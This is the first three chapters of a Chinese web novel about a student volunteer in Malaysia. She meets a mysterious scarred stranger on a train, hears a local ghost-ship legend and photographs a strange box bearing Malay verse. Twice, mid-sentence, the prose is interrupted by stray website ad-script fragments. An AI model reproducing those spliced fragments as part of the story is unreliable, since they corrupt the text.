《去明天》 1. 第一章 每一个赶早上六点火车的人都是赌徒兼勇士,因为这是一件有生命危险的事。 温知和呵欠连天,拎着大包小包在车站月台疾走。前一天晚上睡得太少,头脑晕沉,四肢乏力,总觉得灵魂落在了床上,只有些零零碎碎、不知道是什么的东西,勉强缝缝补补拼成了一个人形——但随便打一个呵欠就会像一滩水一样化在地上。 太困了。 她努力抬头瞅了瞅月台钟表上的时间,长呼出一口气,脚下努力走得更快。在这连太阳也还没完全露脸的时间点,槟城北海火车站里人并不多,湿热的风顺着一条条无尽延伸的火车轨道从远方吹来。发丝拂在脸上微微遮盖了视线,仿佛给异国他乡的一切蒙上了滤镜。 “你好,请问去玻璃市的火车是那一趟吗?” 来这边快一个月了,温知和的马来语水平始终只停留在“你好”、“谢谢”、“这个多少钱”、“再不走开我报警了”之流的日常用语上,每次跟当地人交流,全靠英语、比划、翻译软件以及瞎蒙看运气。 槟城的车站工作人员显然听不懂她刚才的问题,但她手里拿着车票,而且同样的会话情景每天都要发生无数次,是以指着不远处半旧的红色火车连连点头,催着她加快脚步。 温知和用上了全身的力气,赶在最后一分钟拖着自己和行李登上了火车。她穿梭在一列列车厢里,愈发头晕脑胀地寻找自己的座位:5车厢12排B座。 前面的3、4号车厢尚还能看见一些旅行团,多少有点人声,可进了5车厢,空空荡荡,安安静静,居然一共只坐了三个人。 一个在最前面,一个在最后面,还有一个在中间的……12排,和她一样。 真不巧。 隔着老远看不清对方是什么人,只能看见一个脑袋,黑色短发干净利落,有点自然卷。 温知和推着行李箱慢慢走过去。 车厢里一排四座,左边是AB,右边是CD。不巧加不巧,那人不仅在12排,还在A座,和她的座位是邻居。 六点到了。火车缓缓开动,窗外的车站景象开始渐渐倒退,泛红的曙光自天边映过来。温知和停下脚步时,那光恰好照亮了靠窗而坐的陌生青年。 他是好看的。 二十五岁上下,是东亚人面相,骨相生得极漂亮。初阳的光落在他脸上,眼睛微微阖着,不知怎么,看上去有点漫不经心的。 除了出众的外貌,青年身上还有两件事物格外引人注目。 一是左耳下样式独特的红色耳钉,剔透晶莹,色泽奇异,内里仿佛有血光流转。 二则是……他穿着宽领的黑色T恤,锁骨附近有几道显眼的疤痕。细长,泛暗,是有一定年头的旧伤,给人危险、不详的印象。 只一眼,温知和便断定这是个不太好惹的人。于是尽力不去在意这陌生人,扶着前排的椅背站稳了,把注意力集中在自己的事情上。 青年慵懒地望着窗外。 温知和把系在行李箱拉杆上的背包解下来,从里面拿出一早准备好了的水杯、零食和U型枕放在座位上,又随手拉了一下拉链,便把包往行李架上放。 好高的行李架。这火车在设计时,大约是为了让行李们在上面待得安稳别掉下来,几条金属杆组成的行李架微微倾斜着,外高内低,即使她勉强够的着把背包送上行李架边缘,要把它推进去,还得再费点力气。 她一面踮起脚胡乱把包往里塞,一面在困倦中走神思索着,这会儿把包丢进去容易,等它滑下去了,下车的时候要拿该怎么办?太高了,根本够不着,难不成要垫着纸站在座位上…… 砰! 推扯间,背包本就没拉好的拉链忽然划开了,一道银白色光芒从金属长杆空隙间掉下来,正正砸向下方始终没说过一句话的邻座青年。 温知和:“……!!” 好在青年反应挺快,下意识地伸手接住了。那是她的相机。纤薄小巧的机身,在他手掌间有一种犯错后被挟持的感觉。 他抬眼看向她。 也不过就几秒钟的时间,温知和被突如其来的小小意外搅得睡意全无,当即道歉。大概是太心急,她忘了在异国他乡该说英文,脱口而出的是家乡话。 “对不起……!” 话音未落,上面的包里又掉下来一瓶可乐。 青年又用另一只手接住了可乐。 可也由于他分神去接了那瓶可乐,紧随其后的另一样东西就那么直直地掉在了他脑袋上。 那是她前几天在路边随手买的沙滩帽。由于造型浮夸,基本没怎么用过,只是塞在包里。它帽檐宽大,缀着细碎的假花和蝴蝶结丝带,有点歪,不仅盖住了他的脑袋,还遮了他的脸。 温知和:“……” ……能说是不幸中的万幸吗?她这会儿正好不是很想看见这个陌生人的表情。 死寂般的十秒之后,一个颇为平静的声音从帽子后面传出来。“还有什么东西要掉下来么?如果还有的话,这个帽子我就先不摘了。好歹也能挡一下。” “对不起对不起,我把包拿下来吧!” 温知和几乎是跳起来把背包从行李架上扯下来的,它这会儿倒是老实了,拉链虽大开着,却没飞出任何别的东西,好歹没让场面更加尴尬。 青年摘了脸上的沙滩帽,合着相机和可乐一道递给了温知和。他的头发被刚才的小事故弄得有点乱,但脸上神情同先前变化不大。 这个人显然说不上平易近人,不过,这会儿倒也还没有生气的迹象。 温知和继续道歉,火速把东西塞回背包,用力把拉链一股脑拉到了最底下。很牢固。 青年站起身来。“要把行李都放上去?” “呃,是的。” “我来吧。拉链拉好了?” “嗯。” 他从她手中接过行李。大包小包,她一路上费了那么多力气,在他手上却好像变得很轻盈,抬到高处毫不费力。过道狭窄,他站得近,她视线此时恰好与他锁骨齐平,能更清楚地看见他皮肤上那几道陈旧的疤痕。上近脖颈,下临心脏,这么危险的位置,还是新伤的时候应该很狰狞。 疤痕忽然远了。 青年放好了行李,回到自己靠窗的位置上坐下,温知和带着歉意连连道谢,这才后知后觉。 “诶……你也是中国人?” 她发觉刚才说的一直都是中文。 青年说,“嗯。” “不过…… “怎么?” “听上去好像有一些口音,虽然不是很明显……你很久没有回国了吗?” 青年没有立马回答。火车恰驶过一片树林,本就不盛的阳光被窗外树叶切割成零碎光影,落在他侧脸。“嗯。” 温知和自觉两人不过是萍水相逢,而且,对方也没有表现出愿意聊天的意思,于是没有继续问下去,只是在自己的位置上坐了。 出于礼貌,她从兜里掏出用来果腹的小零食时,问了青年要不要尝一些。 这些都是她家乡的特产。出国前,妈妈反复唠叨着说她一定会不适应东南亚的饮食,因此特意买了很多零食回来,通通强行塞进了行李箱。由于它们是那种典型的“妈妈以为你爱吃的零食”,因此尽是她小时候的偏好,都是些孩子气的东西。 她以为陌生青年会拒绝。 但他偏过脸来,视线在她手心里包装幼稚的袋装饼干、糖果和巧克力上停驻几秒。“你是淮市人么?” “嗯。” 除了这些特产零食,十几年生活浸出的本能还让她刚才脱口而出说过一句淮市话。就是向他说的那第一句话——“对不起……!” 温知和有点不好意思,捧着东西的手指无意间动了动,零食包装袋摩擦着发出轻微声响。阳光映射在上面,印在角落里的小商标像是发着亮。那是淮市独有的老品牌,名叫—— “东湖记,”青年说,“现在还在啊?” “是呀,毕竟是我们那里的老招牌嘛。以前还挺难买的,全城就那么几家店,要一大早就到门口排长队。不过现在开了网店,东西好买多了。”她笑起来,把手往他面前凑了凑,“要不要尝一下?虽然天气有点热,巧克力可能有点化了……不过应该不影响口感!” 青年接过零食。“谢谢。” 不过,他并没有吃。零食散放在小桌板上,笼于其上的阳光随窗外景色不时变换。而他抱着手臂,阖了双眼。可能是在补觉。反正,又是那种生人勿近的氛围了。 温知和怕打扰人,小心地压着声音一袋袋撕开了剩下的零食。三袋饼干,一块巧克力,还有一片面包。她的食量不大。就着矿泉水吃完东西,便慢慢以噪音最小的方式收拾了桌上的垃圾,又起身走到车厢连接处,找大垃圾箱丢掉。 几步路间,火车驶入了一处连中文译名也没有的小车站,慢慢停了下来。 温知和转身走回5车厢时,正好看见青年的背影往车厢另一边走去。好短暂的一场萍水相逢,他这就要下车了。等她走回12排,他的身影早不见了。 她无意中一抬头,瞥见了行李架上的行李们,然后往后退 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了一步,又仰头仔细看了看。这些,都是那青年刚才帮着放上去的。 他虽然看上去不易接近,但似乎还挺细心。 背包的包带、行李箱的把手、购物袋的提手……手提的部分都朝着外面,她要拿东西的时候一抬手就能够着。很方便。 她独自在空荡的12排坐下。 这么早的行程,原计划是要用来补觉的。但现在已经不困了。然而,要看书、写论文,好像又没精神。 温知和偏头看向窗外。火车缓缓启程,方才的小车站在后面渐渐变远,看不清了。六点半,马来西亚的白昼已经苏醒,晴空湛蓝,群鸟从火车的一边飞向另一边。 她又看了看身旁的位置。那么空,上面承载的不过是阳光而已。 ——那个不知名的人已经下车了。那么,这个位置,她坐一坐也可以吧? ——窗边的位置可以看风景,多好。刚才他在,她觉得不太方便,都没怎么往这边看风景。 温知和起身把自己挪到了窗边。这位置视野极佳,若是把手放在玻璃上,仿佛能摸到外面清澈的空气和夏日阳光。 再遥远处,在旷野的边缘,天空的尾端,隐隐能看见一片蔚蓝的水带。那就是大海。她喜欢大海,因此才不远千里来了这东南亚国度。 名义上,温知和现在是NGO组织的暑期学生义工。两个月,辗转四个城市,要做的事包括看护孤儿、教当地人英语、照顾海龟……不过,没那么正式,比起文书里措辞板正的“义工”、“慈善”,其实更像是旅行。 前三个城市的工作已经结束,这趟火车将把她带往玻璃市,到了那里,再乘巴士到渡口坐船,便能抵达终点——兰卡威。那是马来西亚近年的热门旅游城市,据说有着尚未被过度开发的澄澈海水、美丽海滩和低廉的物价。 想着几小时后将抵达的目的地,温知和心情大好,起身到行李架上拿了背包,翻出相机、笔和笔记本,准备好好享受这趟火车旅程,随时记录一些喜欢的风景或脑海中闪过的有趣想法。 晴朗的早晨。小桌板上,相机电量充足,水杯装满了水,笔是刚换的笔芯,写在纸上流畅无比。这一切都令人有一种细小的富足感。 温知和眯着眼睛,伸了个幸福的懒腰。 可眼睛再睁开的时候,她的幸福忽然失色,整个人僵了一下。 ——那个青年,他回来了。步履不紧不慢,只是手上多了一份当地的早报。 她眼珠子往下瞟了瞟。她正鸠占鹊巢,坐在他的位置上。可要回去,显然已经来不及了……毕竟桌子上堆了这么多东西。他来得又快。 青年在12排停下脚步,居高临下地看着她。 温知和大脑一片空白,不自觉地伸出手拿起了桌上的水杯,借着喝水遮住了半张脸。“……我以为你下车了。” “我没有。” “对不起!” 明明见了还不到一个小时,甚至不知道对方的名字,可她向这个人道歉好像已经道得相当丝滑、相当得心应手了,可以说是个道歉熟练工。真希望生活是一部剧情游戏,而她有在挪座位之前存过档。 青年说,“没关系。你喜欢窗边的话,就坐在窗边吧。” “谢谢……” “不用谢。反正那个位置的安全系数也不高。” 说着,青年便微微仰起头。温知和谨慎地顺他的视线望向正上方的行李架。很好。由于她刚才又动过背包,它的拉链又开了,一道大口子正横在她头顶上方,隐约能看见里面有个黄色的东西将掉未掉。她不想去分辨那究竟是防晒霜还是润喉糖盒子。 总之她鸠占鹊巢的是个危座。 温知和陷在沉默里。 青年随手把早报摊开放在原先属于她的空座位上,“合上?” “谢谢……“ 他把背包取下来,拉紧了拉链,抬手把它放回原位。这下就很安全了。仍是背包带朝外,方便到站时再拿。 温知和又说了一句,“谢谢。” 由于下意识是朝着他说话,她的视线无意中落在他那份早报上。摊开着的报纸上密密麻麻的马来文字,她向来一个也看不懂。但那上面还有两行用黑色签字笔写的粗重的字,倒是格外显眼。 当然,她还是看不懂。 青年道,“不客气。” 然后,他便在她身边坐下了。温知和火速收回视线,再次看向窗外。旁边不时传来翻报纸的窸窣声响,青年看得似乎还挺认真。可温知和隐隐觉得他好像在笑。 她始终沉默着。 2. 第二章 “然后——你就一直沉默到了他最后下车?” 尽管是在手机里,闺蜜俞则的叫喊声仍震得温知和耳朵发麻。几小时前,她在兰卡威的义工之家安顿下来,洗了澡换了衣服,便吹着吱呀作响的旧风扇趴在床上打电话,简单几句,对远在国内的俞则提起了火车上遇到的陌生青年。 “真的吗温知和,你就那么一直沉默到了他下车!?”俞则的声音抬高了八度,又质问了一次。 “是啊。陌生人又没什么话题好聊的。” “好歹要个联系方式啊。”俞则那边不断传来咬薯片的嘎嘣响声,说话也变得含混,“这可是……” “可是什么?” “这可是你第一次谈这种话题诶!我俞则十几年了没听见温知和对谁有过好感。啧,出一趟远门真是不得了啊,我养的小石头都开窍了。” 温知和趴在床上晃着腿,手指拨弄着枕巾边缘,声音故意拖长了,说,“你——想——多——了,我没什么特别的想法。” “噢~” “真的,”温知和颇为正经地说,“刚才铺垫那么多,只是想说那个我们一起在地摊上买的便宜背包真挺难用的,拉链一点都不牢固,动不动就开了,东西咣咣往下掉,害我社死。” “噗……” 温知和越说越严肃。“由此可以得出结论,便宜没好货。” 电话那边沉默了一阵,然后,与这边同时破功笑出了声。两边的笑交织在一起,愈发热闹,天花板上的风扇一晃一晃地像是看着这情景摇头。 俞则说,“你就是有点喜欢他嘛。” 温知和笑累了,翻了个身仰躺着,盯着风扇望了一会,听见自己的声音轻轻说,“是啊……是吧。” 也说不出来为什么,在火车上远远看见那人背影的时候,就像有一只命运的小铃铛晃了晃。他的头发有点自然卷,微微的弧度,像那只小铃铛在空气里荡出的涟漪。 要不是心里受了驱使,车厢里空空荡荡的又没人查票,何必非要按着票上的位置坐在他旁边? 可那个她连名字都不知道的人,气质疏离,常年生活在异国他乡,身上的疤痕明明白白地昭显着他游走在一个她并不熟悉的世界里。除了火车上短暂的几个小时,彼此的生活不可能再有任何交集。 有些一见钟情会开启为期一生的故事。但也有一些,心动过后,过了也就过了。不过——温知和想——这倒也是旅途中的一种风景。 “无所谓了,”温知和说,“反正以后不会再见到了。” “也是。马来西亚那么远。国内的好小伙子也一抓一大把呢。” 两个人又笑嘻嘻地聊了几句,电话便挂了。 温知和躺在床上出了一阵神。热带地区的夏夜,空气湿热又厚重,皮肤上总像是被什么东西包裹着,在同一个地方呆久了,会像是要在原地融化掉。热气带来的不适感很快就压过了本就尚未成型的心事。 温知和脑子里这会儿只剩下热,拿手扇着风下了床,去开窗通风。 湿热的晚风扑面而来。 楼下的院落里灯火零星,虫鸣不绝,夹杂着楼下几个义工坐在一起闲聊的声音。再远一点,低矮的房屋连片起伏,载着异域的万家灯火。 最远处,天上有一轮月亮。 这时候,温知和脑子里莫名又浮现起了那个青年。眼前景象同他没有半点关联,她只是想起他。 在这样的深夜里,在这个散发着热气的异域国度里,他现在会在哪里呢? ……他叫什么名字? 温知和去找了相机,端在手里,对着眼前的夜景按下了快门。此时此刻,屏幕上的照片里蕴含的是不可捉摸的心绪,与一个还不知道姓名的人有关。 等时间过去许多年,当她忘记火车上那一次短短的、没有任何故事发生的偶遇,再在相册里看见这张照片的时候——或许,它便会成为一张仅仅代表兰卡威夜景的普通照片。物品和图像的意义,从来都来自人的记忆。 那天晚上,温知和做了一个梦。 梦见自己离开马来西亚的热带大海,回到了四季如春的淮市,就那样平平常常地过了许多年。 有一年春天,她去东湖公园拍燕子,镜头无意间对准了湖边的一棵柳树,小小的相机画面上,树影里竟站着那个左耳下有红色耳钉的青年。 她一怔愣,放下相机抬了眼,可树底下并没有人。再看回相机里的画面,他也不见了。春日晴好的湖边,只有燕子在柳树下叽叽咋咋。 他在刹那间出现。又在刹那间消失。短暂得像是错觉。 后来她去问路人有没有见过他,大家都笑她没睡醒,世上从未有过那样一个人。 - “叽和,靴靴!靴靴!” “宝贝,这里这里!我靠……这也太好看了!我——好——爱——你!!” “知和小姐,啊,真的可以吗?真的可以帮我们拍吗,会不会太麻烦你……” 兰卡威的义工们是来自世界各地的年轻人,外形漂亮又生性温柔的温知和很快便融入进去,凭着还不错的摄影技术和手中小小的相机,给伙伴们拍了一张又一张极具纪念意义的照片,很受欢迎。 仔细想来,这部相机的确正在促生一些堪称神奇的事。 来自不同国家的人们原本在各自的生活轨迹上前进,却在这个夏天交汇,飞进镜头在她的相机里住下。当他们离开时,她把拍出来的东西印出来赠予对方,那些照片便随主人飞离这片热带大海,向着四面八方,穿越千里万里,散落到各不相同的地域,也许会被置入相框摆在桌子上,也许会被放进抽屉里,也许会遗失在沙发缝隙。一日日的太阳光在那里流转,就那样度过一个又一个四季。人们往后的生活很长,作为旧时光的相片,会在角落里静静地见证那些新故事。 温知和独自坐在海滩上,低头回顾着如今仍在相机里的照片们。泛着白的水浪有一阵没一阵地漫上脚踝,头发被风微微吹起,不知看见了什么,她凝视着屏幕笑了起来。 ——也许在旁人眼里,此情此景也如画一般。 温知和后颈忽有一种奇异的感觉,仿佛不远处有人向她投来视线。 她转身望去。 这片白沙海滩上热闹非凡,到处是穿着热带服饰的度假人群,躺着晒太阳的、小跑过去下海玩水的、摆开野餐布预备大快朵颐的……还有一间小小的海滩杂货店。 杂货店大概一人高、两人宽,被几个身穿警服的马来西亚男人围住了,显然是出了什么状况。周围的游客们偶尔朝那边看上一两眼,可似乎并没什么热闹可看,于是不多时便收回视线,又去玩自己的了。 “知和!” 听人忽然叫了自己的名字,哪怕中文发音不甚标准,温知和也下意识地转头看向了另一个方向。 咔嚓。 一个土生土长的马来西亚女孩笑嘻嘻地晃了晃手机,几步跑过来向温知和展示刚才抓拍到的照片。 ——大海湛蓝,长发飞扬的年轻女孩眼睛极漂亮,侧身从屏幕里望出来。脑袋上,缀着细碎布花的沙滩帽有点歪。 很漂亮的照片,构图相当出色。 马来西亚女孩名为吉赛尔,梳着气质张扬的脏辫,说话做事都风风火火的,是温知和这段时间在义工之家结交到的最好的朋友。 吉赛尔大笑道,“这张照片晚点发给你,现在的第一要事是吃晚饭!今天有很多人想去市区,领队说那里有一家烤肉店非常棒!要不要一起去?不去的话,我们也可以先回义工之家。” 温知和说,“去吧,有热闹干嘛不去?” “哈哈哈,那我们去那边集合!” 两人路过那间被警察围住的小杂货店。没什么特别的情况。她们就这样走过去了。 - 烤肉店在兰卡威的闹市区,街边灯火连片,几座低矮的房子连在一起便成了烟火腾腾的店面,到处摆满桌椅,到处是人。 义工之家肤色各异的年轻人们围坐成了好几桌,笑语不断,交换着近日的见闻。 “你手上的珍珠好美啊,是在哪里买的?” “听说你昨天被海龟咬了一口?哈哈哈,你对它做了什么啊!” “啊啊啊别说了!越说越吓人了!!” 各式各样的谈笑声里,角落里的几个日本女孩兴奋地压低了声音,“真的很好看哦!那个人,就在海边,我去杂货店买饮用水的时候碰见的。他很有礼貌呢。不过总有一种拒人千里之外的气质。” “啊啊我也看见了,他的耳钉真漂亮。好想问问同款……” “真的?听起来是在现实生活里很难遇见的类型呢,你们不会是合起来骗人的吧?” 也有天不管地不管,一心只想吃饭的中国人,“什么时候才能吃饭啊……我快饿死了……嗷……妈妈啊……” 温知和是最后才赶到烤肉店的一群义工里的一个。他们这帮人终于姗姗来迟的时候,早已落座的伙伴们纷纷打招呼。才走了没几步,人缘颇好的温知和同吉赛尔便被热情地邀请进了一桌。 桌边的人说,“嘿,我们刚才在讲鬼故事!” “不过法国人的鬼故事真的很无聊啊。” “喂!” “哈哈总之,温,你有没有什么故事讲讲?古老中国的灵异故事……感觉会很有意思噢!” 温知和笑了笑,她的脑子向来转得快,短短一两秒内已有许多熟知的民间传说涌上心头。她开口,虽是带着笑,语气却有起有落,把一个个狐妖、鬼新娘、乡中枯井之类的典型中式恐怖故事讲得让人毛骨悚然。 满桌人被吓得够呛,有几个男生甚至抱在了一起,连头都撞了,引得周围人哈哈笑起来。如此场面,温知和不紧不慢地给自己倒了杯水。事了拂身去。 这时,吉赛尔忽然想起什么,语气神秘地说,“我这里也有一个,是马来西亚本地近几年的传闻噢。” “噢噢是当地的故事吗?那就更有意思了,说不定……不久后就会碰上噢,哈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈哈!” “啊啊啊啊别吓人了——我要换桌子了——” “讲讲!讲讲!” 吉赛尔清了清嗓子。“这个传闻的名字叫……雾海鬼船。” 据说,这并不是一个历史悠久的民间传说,而是近年来才有的,目击者甚众,虽然在船的外形、船的来由以及与船接触的经历等话题上,几乎每个人都有一套自己的说法,但有一件事是确切无疑的——雾海鬼船,是真的出现过。 有时是在午夜。村民远远看见天空中出现血光,那庞大扭曲的船影仿佛从深海中爬出,在死寂一片的海面上漂浮不定。 有时是在大白天。小孩子们说近岸处曾驶过怪异的古船,上面载满了财宝,连船身下的海水都被映成了一片流转不定的金光。 还有迷信的渔民添油加醋,信誓旦旦地说出海时与鬼船打过照面,上面几乎是一片废墟,没有人影,定睛一看,发现船头原来就是个骷髅。 众说纷纭,莫衷一是,让鬼船之说愈发难以捉摸、充满谜团。 到此为止,还只是遥远的传闻。 可吉赛尔压低了声音,煞有介事地又补了一句,“听说最近有几个游客失踪了,因为牵扯到外交问题,本地警方没有公开,在暗地里找了很久。可是什么也没找到。直到昨天,有人在沙滩上捡到了海水冲来的游客遗物……” 同桌的年轻人有被吓到的。 “啊啊!停停!应该只是在海边玩,不小心被离岸流卷走了吧。” “明面上是那么宣布的,可很多当地人说他们其实是被鬼船抓走了。这些年里失踪了很多人呢。” “真的吗……” 吉赛尔耸耸肩,“不知道呢。我也只是听说而已。” 于是有人说,“哦我懂了,也就是所谓的都市传闻是吧……” 大家都笑起来。所谓都市传闻,各国各地都有,人人皆知——大多是假的。 闲聊间,烤肉终于来了。 一盆盆肥美的牛肉端上了桌,抹上油,撒上香辛料,在烤炉里散发出令人垂涎的肉香气。还有新捞出水的海鲜、蔬菜浓汤、热带水果,没人顾得上先前的话题,纷纷投入了大快朵颐的快乐里。 温知和饭量小,每样东西各尝一点便饱了肚子,于是举着相机在各桌间穿梭,给大家拍照、录像做纪念。好热闹的氛围,她走到哪里,哪里便是一片对着镜头比剪刀手的年轻人们,笑声不断。 不知不觉,相机快没电了。 温知和忽然在镜头里捕捉到一只意外闯进来的蝴蝶。纤纤的翅膀,反射着连片灯火,像极了会动的小太阳。她一直跟了上去。穿过用餐的人群,穿过地面潮湿的户外厨房,蝴蝶一下高、一下低,飞到了略显安静的餐馆后院。 这里并不大,只一座环形的二层木楼,简陋、寻常,大概是店主人或服务生日常居住的地方。天井里并不脏乱,显然常有人打扫,只在墙角稍有些绿苔。 蝴蝶也飞累了,轻轻停靠在二楼栏杆上。 温知和将镜头对准了它。近景是蝴蝶歇于栏杆,远景是连片的夜幕灯火,有时一张足称惊艳的照片来得就是这么快。 她按下快门。 就在这个瞬间,栏杆后的那扇门忽然从里打开,走出一个抱着木匣子的侏儒男人,闪光灯恰好照在他脸上。 好奇怪的一张脸。五官端正,脸色却青白,神情也极惊恐,显然没想到出门时会碰见人,被吓了个激灵。 温知和下意识地往后退了一步,可那侏儒男人似乎比她更害怕,竟是转身拔腿就跑了,几秒之间便不见了踪影。她也并未犹疑,离开餐馆后院,沿原路大步穿过地面潮湿的户外厨房,穿过一排排热闹的桌子,回到了人群之中。如常的喧嚷声,多多少少驱散了余惊。 “嘿,叽和,你刚才去哪里了!”同桌的人问。 温知和定了定神,笑道,“只是随便走了走。” 她低头打开相机,本想看看刚才那张照片究竟拍成了什么样子,但屏幕上漆黑一片,相机恰好没电关机了。 - 散场时,义工们是一波一波离开的。温知和与搭伴的几个朋友走得早,没能碰见晚些时候的一桩小插曲。 餐馆里忽来了几个警察。店主上前应付,偶尔有当地的顾客也跟着搭话,时而平和,时而激烈如同争吵,全是马来西亚当地的语言。不知究竟出了什么事。义工们大多听不明白,只当是看热闹。 就在大家对着这件小插曲边吃边议论纷纷的时候,坐在角落里的几个日本女孩忽然又兴奋起来。 “我先前真的不是在骗你哦!当时遇到的真的是非常好看的人。” “诶诶怎么又提起这个?” “你看,他就在那里,就是他不会错的!那边的街角,你看……诶……他脸上的是……血吗?“ 说话的女孩还在怔愣间没回过神来,同伴好奇地朝着她目光看过去,可是,就在那一两秒的空隙里—— “……那边已经没有人了呀?” 3. 第三章 温知和回到义工之家的时候,已经是当地时间晚上九点多,有点累,本想好好洗个热水澡,可公共洗澡间的热水器竟是又坏了。只好将就着冷水冲了个凉。 披着湿漉漉的头发提着洗澡篮从院落中穿过时,恰好有几个义工围在一起吵吵闹闹地打牌玩,边上开着老式收音机,里面正放着英文频道的天气预报。 “……连日高温,请注意防护,避免中暑。今日晚间有概率出现雷雨天气,请注意安全,避免长时间在室外活动……” 她上楼,回到房间里。 这房间很小,与“家徒四壁”之间的距离,也不过一张木床、一张破桌子、一把破椅子和一个塑料衣柜而已。温知和的行李也少,零零碎碎的东西这里摆一件、那里挂一点,没填满这小房间,反而更显得它空落。 其实,的确是苦日子的。跟在家里的生活全然不是一回事。 她一手用干毛巾擦着头发,一手打开手机屏幕看了一眼时间。差不多了。每个周五的晚上,父母都会给她打视频电话过来。她把自己收拾好,又在桌子上找了个合适的角度摆好了手机和支架,确保摄像头能照到的多是窗外的热带风景,没有室内的简陋。 刚坐下来,家里的视频电话就来了。也许这就是心有灵犀。 先出现在屏幕上的永远是妈妈。 温妈妈笑弯了眼睛。“这周怎么样啊?” “挺好的呀。” “都去什么地方玩啦?” “去了好多地方,红树林、地质公园……本来今天要再玩一次跳岛,可不知道为什么所有船都禁航了,就在珍南海滩逛了一天。这边的海真的好漂亮,我还看到一只这么大的海鸥……” 温知和比划着,越说越来了兴致。明明她言语中描述着那样丰富多彩的事物,想要妈妈足不出户也能感受到热带大海的风情,可妈妈关注的却是—— “哎,你头发怎么都还是湿的?赶紧吹干呀,要感冒的。” “不会啦!天气挺热的。” “不行不行……”温妈妈的话刚起了一半,另一个声音在屏幕外响起来,还挺正经,“当然不行啊,天气又热,你头发还湿,万一发霉了怎么办啊?到时候顶着一头花花绿绿的,别人要以为你是海里爬上来的珊瑚精。” “……” 不等温知和说话,温妈妈先转过身去和那人呛了起来,“没学好就先别跳出来了。”末了又转过来向温知和解释,“你爸听说学生评论他太古板,最近在学幽默。” “……” 没什么成效的样子啊。 温知和不忍戳破,沉默几秒,郑重开口,“爸,加油。” 温爸爸文质彬彬的国字脸出现在屏幕上,张了张嘴,大概是想接过话幽默一下。但脑子里又没冒出来什么好点子,于是镇定自若地转成了嘿嘿一笑。 温知和:“……” 温妈妈:“……” 好在这时传来一阵救世主般的狗叫声,带来了新的话题点。温爸爸很明显地松了一口气,“冬哈!过来看看那是谁!” 屏幕里只能看见桌子边缘冒出一截雪白色的毛,时有时无,晃晃悠悠。大概家里那边也是把手机放在桌子上,但桌子太高,兴冲冲跑来的萨摩耶什么也看不着,只能在下面一跳一跃地扑腾。傻乐。 温知和能想象出名为冬哈的大雪团子围在爸爸脚边乱跑,摇着尾巴不停撒欢的模样。 她对温爸爸说,“你倒是让我看看它呀。” 屏幕那边的汪汪声又高了几度。大概冬哈听见了她的声音,却看不见她的人、闻不到她的气味,正好奇地找她。温爸爸俯身去逗它,就是不给它上来。 温妈妈点评,“你爸这人是真烦,天天欺负一只狗。” 温爸爸说,“啧!” 冬哈可能搞混了这声“啧”和大家平时逗小狗时发出的那种“啧啧”声,兴奋起来,叫得更大声。“汪汪!汪汪——” 温知和笑起来。她的笑声令冬哈越发困惑,竟是一溜烟从温爸爸脚边跑过,到门外找她去了。大家都笑了起来。 又多聊了几句闲话,时间不早,视频电话便要挂了。到了这个节点,温妈妈竟还没忘温知和的头发,又叮嘱一句,“记得吹干啊。” “知道了啦。” 滴的一声,手机屏幕黑了下去。温知和起身伸了个懒腰,扭扭脖子活动筋骨。刚才的家庭电话不长,也没什么实质内容,却仿佛在心里倒了些暖流。 她是沐浴在爱里长大的幸运儿,从来都过得顺风顺水。今夜,也会是好梦吧? 温知和走到窗边呼吸新鲜空气,夜色下,长满植物的院落里仍能看见那几个义工伙伴聚在一起玩牌,蚊虫在不远处的灯下飞舞,偶尔还有蛾子到处扑棱。 这个地方,生活条件虽然有些简陋——有时甚至简陋到可能会让父母担心——但只要能度过磨合期适应下来,便能找到那种异于日常琐碎生活的平静。人变得很简单。 不知不觉,窗外的风变大了,仍有湿意的头发拂过温知和的侧脸。隐约能看见一片乌云在遥远处聚集起来。 天气预报说今晚有雨。 - 是在半夜里被雷鸣惊醒的时候,温知和忽然想起那张照片。 ——蝴蝶歇于栏杆,远处灯火连片。屋门大敞,走出来一个侏儒男人。 ——他手里抱着奇怪的木匣子。 ——被闪光灯照亮的脸上,是惊慌失措的神情。 光是想到那么一张照片仍躺在相机里,就让温知和有一种脊背发凉的感觉。她昏昏沉沉地推开被子下了床,从背包里翻出早已没了电的相机,又揉着眼睛找线,准备给它把电充上。 插座在门边的墙角,她蹲在那里,背对着窗。 外面雨下得好大。仿佛乌云顷天而下,变作蔓延整个世界的瀑布,把一切都裹进了水里。雨声,雷声,树木沙沙声,简直像一场灾。 正要给相机插上电的时候,窗外忽亮起闪电,屋里刹那间一片雪白,一道狭长的人影落在墙面,把温知和吓了一跳。 过了半秒,回头一看才反应过来,那是自己的影子。 闪电一晃而逝,又隔了一阵,轰隆隆的雷声响起,仿佛大地打了个巨大的呼噜。 温知和睡意稍减。打了个呵欠,插好线,又等了几分钟,她按下开机键。 屏幕渐渐亮起来。 窗外树影斑驳,摇曳不断。有那么几条长枝叶不时拂过窗玻璃,有一下没一下,在她身后发出轻微的啪嗒声响。 温知和的视线凝注在相机屏幕上。相册的第一张,就是那张照片。若不是那个突然出现的男人,这本该是一张好照片。 正要按下删除键,温知和忽然发觉侏儒男人手中的盒子上有两行奇异的金色文字。她手指一滑,把那块区域放大了。是马来语。字迹相当漂亮,形态飞逸,线条细长,与其说是文字,倒更像是一行化出实体的神秘歌谣。有一种庄严而自由的感觉。 像这样的两行字,她好像在别的地方也见过。 温知和掏出手机,找出翻译软件,对着相机里的照片又拍了一张照片。图片翻译,马来语转中文,很实用的功能。就是有点慢。 窗外的雨似乎越来越大了。一下又一下的雷鸣,越来越高,仿佛某种未知的庞大存在向天地张牙舞爪,盖住了所有其他的声音。 滴。 手机屏幕上终于显示出了翻译结果。就是在这个时候,温知和想起了她是在什么地方也见过类似的两行文字。 ——是在火车上,那个陌生青年的报纸上。格外突兀、粗重的签字笔字迹。 她一字一句,念出翻译结果。 “当太阳从大海深处升起……” 只有这么半句话,再往后的文字便被男人的手指遮住了。无论怎么放大,也看不清其下遮盖的内容。 正在这时,又一道闪电经过。屋里亮起一片雪白,电光石火间,一道怪异的影子落在墙面。 起初的一秒钟里,温知和并未在意,以为那仍是自己的影子。但很快,一种本能袭上颈后,令皮肤生出寒意。 那不是她的影子。 ……确切地说,不只是她的影子。 她蓦地转头看去。 